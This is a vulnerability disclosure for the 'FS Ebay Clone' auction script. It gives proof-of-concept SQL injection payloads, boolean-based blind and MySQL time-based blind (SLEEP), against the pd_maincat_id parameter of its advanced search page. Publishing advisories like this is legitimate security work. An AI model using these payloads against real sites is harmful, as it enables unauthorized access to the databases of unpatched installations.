FS Ebay Clone - 'pd_maincat_id' SQL Injection

# Exploit Title: FS Ebay Clone - SQL Injection
# Date: 2017-10-23
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/ebay-clone/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: [email protected]
# Contact: https://twitter.com/_8bitsec

Release Date:
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2017-10-23

Product & Service Introduction:
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This is indeed the best standard auction product pre-integrated with a robust multi-vendor interface and a powerful CMS panel. 

Technical Details & Description:
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SQL injection on [pd_maincat_id] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/advance-search-result.php?keywords=any&pd_maincat_id=1' AND 7301=7301 AND 'iXUk'='iXUk&submit=Search

Parameter: pd_maincat_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: keywords=any&pd_maincat_id=1' AND 7301=7301 AND 'iXUk'='iXUk&submit=Search

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: keywords=any&pd_maincat_id=1' AND SLEEP(5) AND 'aHHy'='aHHy&submit=Search

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8bitsec - [https://twitter.com/_8bitsec]